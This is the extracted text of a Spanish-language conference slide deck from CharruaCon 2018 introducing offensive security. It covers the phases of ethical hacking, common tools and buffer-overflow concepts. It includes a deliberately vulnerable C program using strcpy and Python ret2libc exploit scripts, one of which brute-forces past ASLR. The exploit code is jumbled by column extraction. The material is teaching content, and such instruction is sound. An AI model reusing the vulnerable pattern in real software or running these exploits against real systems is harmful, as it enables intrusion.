Sunteți pe pagina 1din 21

CharruaCon Security Montevideo #charruacon2018

UN
ACERCAMIENTO
A LA SEGURIDAD
OFENSIVA
HOLA!
Soy Santiago Rosenblatt
Estoy acá porque me encanta la
seguridad informática y hackear.
Me pueden encontrar como
@zantiros

3
Hacking Ético
Sombrero Blanco o Hacker “Bueno”
“ Nunca subestimes a un
niño probre en dinero y rico
en tiempo - Cory
Doctorow, Little Brother

5
FASES DEL HACKING ÉTICO
Acuerdo de auditoría
Recopilación de información
Análisis de Vulnerabilidades
Explotación
Post-Explotación
Reporte

6
FASES DEL HACKING ÉTICO
Acuerdo de auditoría
Se elabora un documento en conjunto con el cliente, que refleje el
alcance de la auditoría, las pruebas a realizar, las obligaciones del
auditor y el nivel de permisividad de la empresa frente a las pruebas
de ataques a realizar.

7
FASES DEL HACKING ÉTICO
Recopilación de Información
El auditor recopilará toda la información posible sobre su objetivo
(empresa o aplicación).
Se emplean herramientas que van desde Google hasta Nmap y
similares para obtener puntos de entrada a la aplicación y/o empresa

8
FASES DEL HACKING ÉTICO
Análisis de Vulnerabilidades
Se buscan puertos y servicios existentes para localizar
vulnerabilidades.
Se usan herramientas manuales y automáticas de escaneo de
vulnerabilidades para descubrirlas.

9
FASES DEL HACKING ÉTICO
Explotación
El auditor explota las vulnerabilidades detectadas en la fase anterior,
confirmando que son riesgos reales a los que está expuesta la
empresa.

10
FASES DEL HACKING ÉTICO
Post-Explotación
El auditor recopilará evidencias que demuestren que la fase de
explotación ha tenido éxito, valorará el impacto real que pueda tener
la explotación para la empresa y tratará de llegar lo más adentro de
la organización que pueda.

11
FASES DEL HACKING ÉTICO
Reporte
El auditor elaborará un informe detallado con todas las
vulnerabilidades detectadas, como explotarlas y como corregirlas o
mitigarlas.

12
UTILIDADES Y
CONCEPTOS
Preparando la demo…
13
UTILIDADES
NMAP GDB STRINGS
Escaneo de puertos y servcios. GDB (Gnu Project Debugger) es Es un comando que busca
una herramienta que permite strings imprimibles en un
debuggear programas escritos archivo.
en C por ejemplo.

DIRBUSTER LDD READELF


Aplicación que permite obtener Es un comando que muestra Es un programa UNIX que
por fuerza bruta los nombres las librerías compartidas muestra la información sobre
de directorios y archivos en requeridas por un programa un archivo ELF.
servidores Web/de aplicación específico.

14
CONCEPTOS
GLIBC ELF BUFFER OVERFLOW
Es la biblioteca de tiempo de Es un formato de archivo para Una vulnerabilidad causada por
ejecución estándar del lenguaje ejecutables, código objeto, un error de software al no
C de GNU. Provee la función bibliotecas compartidas y controlar adecuadamente la
syscall para poder invocar volcados de memoria. cantidad de datos que se
llamadas a sistema. copian sobre un área reservada
a tal efecto.
SYSCALL BUFFER
Lo principal que nos importa es Es un espacio de la memoria en
la llamada execv, que un disco reservado para el
reemplaza la imagen en almacenamiento temporal de
memoria del proceso actual información digital, mientras
por una nueva que se que está esperando ser
encuentra en un archivo. procesada
15
Técnicas de Evación de Buffer Overflow
ASLR NX BIT
Dispone de forma aleatoria las Hace que ciertas áreas de la
posiciones del espacio de memoria no sean ejecutables y
direcciones de las áreas de por otro lado hace un área
datos clave de un proceso, ejecutable, no modificable.
incluyendo la base del Ejemplo: Stack y Heap.
ejecutable y las posiciones de la
pila, el heap y las librerías.

16
Ejemplo de Buffer Overflow
Código Vulnerable
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("Input:%s\n",buf);
return 0;
17 }
Explotación Clásica de Buffer Overflow
Explotación Clásica
import struct buf = "A" * 268
from subprocess import call buf += system_addr
system_addr = struct.pack("<I", buf += exit_addr
0xb7e55310) buf += arg_addr
arg_addr = struct.pack("<I",
0xb7f77d4c)
ret =
exit_addr = struct.pack("<I", call(["/usr/local/bin/ovrflwTest", buf])
0xb7e48260)
18
Explotación de Buffer Overflow + ASLR
ASLR Bypass system_addr = buf = "A" * 268
import struct struct.pack("<I", buf += system_addr
libc_base_addr +
from subprocess system_off) buf += exit_addr
import call buf += arg_addr
arg_addr =
libc_base_addr = struct.pack("<I", i=0
0xb752c000 libc_base_addr + while (i < 512):
system_off = arg_off)
0x00040310 print i
exit_addr =
exit_off = 0x00033260 i += I
struct.pack("<I",
arg_off = 0x00162d4c libc_base_addr + ret = call(["/fpath/ovrflow",
19 exit_off) buf])
DEMO!
20
GRACIAS!
Alguna pregunta?
Me pueden contactar por:
@zantiros
santiagorosenblatt@gmail.com

21

S-ar putea să vă placă și